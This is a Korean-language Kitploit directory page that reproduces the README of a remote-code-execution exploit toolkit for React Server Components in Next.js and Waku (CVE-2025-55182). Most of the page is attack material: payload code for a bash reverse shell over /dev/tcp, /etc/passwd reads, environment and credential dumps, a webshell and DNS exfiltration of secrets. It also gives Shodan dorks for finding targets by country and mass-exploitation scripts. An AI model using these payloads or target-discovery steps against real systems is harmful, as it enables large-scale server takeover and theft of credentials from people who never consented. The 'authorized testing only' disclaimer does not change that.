Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PoC-RCE-CVE-2025-55182 — React Server Components 취약점을 위한 고급 RCE 익스플로잇 툴킷입니다. 사전 구축된 여러 페이로드, 대상 발견을 위한 Shodan 통합, 그리고 공인된 침투 테스트를 위한 대량 스캔 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/ilixm/poc-rce-cve-2025-55182
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubilixm/poc-rce-cve-2025-55182

PoC-RCE-CVE-2025-55182

React Server Components 취약점을 위한 고급 RCE 익스플로잇 툴킷입니다. 사전 구축된 여러 페이로드, 대상 발견을 위한 Shodan 통합, 그리고 공인된 침투 테스트를 위한 대량 스캔 기능을 제공합니다.

저장소 보기
149개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🔥 RSC RCE 익스플로잇 툴킷

Version License Node Platform

React Server Components 원격 코드 실행 취약점을 위한 고급 익스플로잇 툴킷

승인된 침투 테스트 및 보안 연구 전용

기능 • 설치 • 사용법 • Shodan 통합 • 예제 • 면책 조항


📋 목차

  • 개요
  • 취약점 상세
  • 기능
  • 설치
  • 빠른 시작
  • 사용법
    • 기본 익스플로잇
    • 사용 가능한 페이로드
    • 사용자 정의 페이로드
  • Shodan 통합
  • 자동 스캐닝
  • 예제
  • 완화
  • 영향받는 버전
  • 기여
  • 면책 조항
  • 라이선스

🎯 개요

이 툴킷은 React Server Components (RSC) 구현체의 중요 원격 코드 실행 (RCE) 취약점을 익스플로잇하며, 특히 다음을 대상으로 합니다:

  • Next.js (13.4.0 ~ 14.1.0)
  • Waku (취약한 버전)

이 취약점은 RSC의 데이터 처리 메커니즘에서 프로토타입 오염 및 안전하지 않은 역직렬화를 이용하여 서버에서 임의 코드 실행을 달성합니다.

🔴 심각도: CRITICAL

  • CVSS 점수: 9.8 (Critical)
  • 공격 벡터: 네트워크
  • 필요 권한: 없음
  • 사용자 상호 작용: 없음
  • 영향: 완전한 서버 장악

🔬 취약점 상세

기술적 배경

React Server Components는 클라이언트와 서버 간 데이터 전송을 위해 사용자 정의 직렬화 포맷을 사용합니다. 취약점은 이러한 프레임워크가 특수하게 조작된 페이로드를 역직렬화하고 처리하는 방식에 존재합니다.

공격 체인:

  1. 페이로드 구성: 순환 참조가 포함된 악성 RSC 페이로드 제작
  2. 프로토타입 오염: $X:constructor:constructor를 남용하여 Function 생성자에 접근
  3. 코드 삽입: _prefix 필드에 임의의 JavaScript 삽입
  4. 실행: 서버가 페이로드를 역직렬화하고 실행

익스플로잇 흐름

공격자 → 악성 RSC 페이로드 → 대상 서버
                                ↓
                     안전하지 않은 역직렬화
                                ↓
                     프로토타입 체인 접근
                                ↓
                     Function 생성자
                                ↓
                     ⚠️ RCE 성공 ⚠️

✨ 기능

핵심 기능

  • ✅ 다중 프레임워크 지원: Next.js 및 Waku
  • ✅ 8개의 사전 구축 페이로드: PoC부터 전체 리버스 셸까지
  • ✅ 사용자 정의 코드 실행: 모든 JavaScript 코드 삽입
  • ✅ Shodan 통합: 자동 대상 발견
  • ✅ 대량 스캐닝: 여러 대상을 자동으로 테스트
  • ✅ 전문 CLI: 완전한 명령줄 인터페이스
  • ✅ 상세 로깅: 타임스탬프가 포함된 색상화된 출력
  • ✅ 오류 처리: 강력한 오류 관리

사전 구축된 페이로드

페이로드설명사용 사례
console기본 PoC (console.log)취약점 확인
reverseShellBash 리버스 셸초기 접근
readFile/etc/passwd 읽기파일 시스템 접근
envDump환경 변수 덤프자격 증명 추출
execCommand시스템 명령 실행임의 명령 실행
webshellExpress 웹셸 배포지속적 접근
exfilPackagepackage.json 추출종속성 분석
dnsExfilDNS 추출 (OOB)블라인드 익스플로잇

📦 설치

전제 조건

  • Node.js >= 16.0.0
  • npm 또는 yarn
  • Shodan CLI (선택 사항, 자동 스캐닝용)

저장소 클론

git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit

종속성 설치

npm install
# 또는
yarn install

Shodan 설정 (선택 사항)

# Shodan CLI 설치
pip install shodan

# API 키로 초기화
shodan init YOUR_API_KEY

🚀 빠른 시작

1. 기본 취약점 확인

node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console

2. 리버스 셸 획득

# 리스너 시작
nc -lvnp 4444

# 익스플로잇 실행
node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload reverseShell \
  --lhost 10.10.14.5 \
  --lport 4444

3. 사용자 정의 명령 실행

node rsc-rce-exploit.js \
  --target http://vulnerable-target.com \
  --payload execCommand \
  --command "whoami"

📖 사용법

기본 익스플로잇

node rsc-rce-exploit.js [옵션]

옵션

옵션설명필수
--target <url>대상 URL✅
--framework <name>프레임워크: next 또는 waku❌ (기본값: next)
--payload <name>페이로드 이름 (아래 참조)✅*
--custom <code>사용자 정의 JavaScript 코드✅*
--lhost <ip>사용자 IP (리버스 셸용)❌
--lport <port>사용자 포트 (리버스 셸용)❌
--command <cmd>실행할 명령어❌
--endpoint <path>사용자 정의 RSC 엔드포인트 (Waku)❌
--action-id <id>사용자 정의 next-action ID❌
--list사용 가능한 페이로드 목록❌
--verbose상세 출력❌
--help도움말 표시❌

*--payload 또는 --custom 중 하나는 필수

사용 가능한 페이로드

모든 페이로드 보기:

node rsc-rce-exploit.js --list

출력:

📋 사용 가능한 페이로드:

  console              - 기본 PoC - 콘솔 출력
    코드: console.log(7*7+1)

  reverseShell         - 리버스 셸 (bash)
    코드: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

  readFile             - /etc/passwd 읽기
    코드: console.log(require('fs').readFileSync('/etc/passwd','utf8'))

  envDump              - 환경 변수 덤프
    코드: console.log(JSON.stringify(process.env,null,2))

  execCommand          - 시스템 명령 실행
    코드: console.log(require('child_process').execSync('COMMAND').toString())

  webshell             - /tmp에 웹셸 작성
    코드: require('fs').writeFileSync('/tmp/shell.js','...')

  exfilPackage         - package.json 읽기
    코드: console.log(require('fs').readFileSync('./package.json','utf8'))

  dnsExfil             - DNS 추출
    코드: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)

사용자 정의 페이로드

모든 JavaScript 코드 실행:

node rsc-rce-exploit.js \
  --target http://target.com \
  --custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"

🌐 Shodan 통합

Shodan Dorks

Next.js 대상

# 기본 Next.js
http.component:"Next.js"

# RSC를 사용하는 Next.js
http.html:"__next" http.html:"RSC"

# Next.js 개발 모드 (더 취약함)
http.html:"__NEXT_DATA__" http.html:"development"

# 자체 호스팅 Next.js (Vercel 아님)
http.component:"Next.js" -org:"Vercel"

# 지역 대상 지정 (프랑스)
http.component:"Next.js" country:FR

# 침투 테스트용 최고 조합
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080

Waku 대상

# Waku 프레임워크
http.html:"waku" http.html:"RSC"

# Waku RSC 엔드포인트
http.path:"/RSC/"

자동 Shodan 스캐닝

제공된 자동화 스크립트 사용:

# 스캔 및 자동 테스트
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100

# 사용자 정의 페이로드와 함께
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump

수동 Shodan 워크플로우

# 1. Shodan 검색
shodan search 'http.component:"Next.js" country:FR' \
  --fields ip_str,port,org,hostnames \
  --limit 100 > targets.txt

# 2. 각 대상 테스트
while read -r line; do
    ip=$(echo $line | awk '{print $1}')
    port=$(echo $line | awk '{print $2}')
    echo "[*] http://$ip:$port 테스트 중"
    node rsc-rce-exploit.js \
      --target "http://$ip:$port" \
      --payload console
done < targets.txt

🤖 자동 스캐닝

대량 익스플로잇 스크립트

mass-exploit.js 도구를 사용하면 여러 대상을 테스트할 수 있습니다:

# 파일에서
node mass-exploit.js --file targets.txt --payload console --threads 10

# Shodan에서
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump

# 결과 저장
node mass-exploit.js --file targets.txt --payload console --output results.json

CI/CD 통합

자동 보안 테스트 예시:

# .github/workflows/security-test.yml
name: RSC 보안 테스트
on: [push]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - run: npm install
      - run: node rsc-rce-exploit.js --target http://staging.example.com --payload console

💡 예제

예제 1: 기본 PoC

node rsc-rce-exploit.js \
  --target https://vulnerable.example.com \
  --payload console

예상 출력:

╔═══════════════════════════════════════════════════════════╗
║           RSC RCE 익스플로잇 - 향상된 버전                ║
║         React Server Components 코드 실행                  ║
╚═══════════════════════════════════════════════════════════╝

[*] 익스플로잇 시작 중...
[*] Next.js RSC 엔드포인트 대상 지정 중...
[*] URL: https://vulnerable.example.com
[*] 페이로드: console.log(7*7+1)...
[+] 응답 상태: 200
[+] 응답 본문:
50
[*] 익스플로잇 완료!

예제 2: 환경 변수 추출

node rsc-rce-exploit.js \
  --target https://api.target.com \
  --payload envDump

결과:

  • 모든 process.env 변수 덤프
  • 추출에 유용:
    • 데이터베이스 자격 증명
    • API 키
    • AWS 비밀
    • JWT 비밀

예제 3: 리버스 셸

도구 다운로드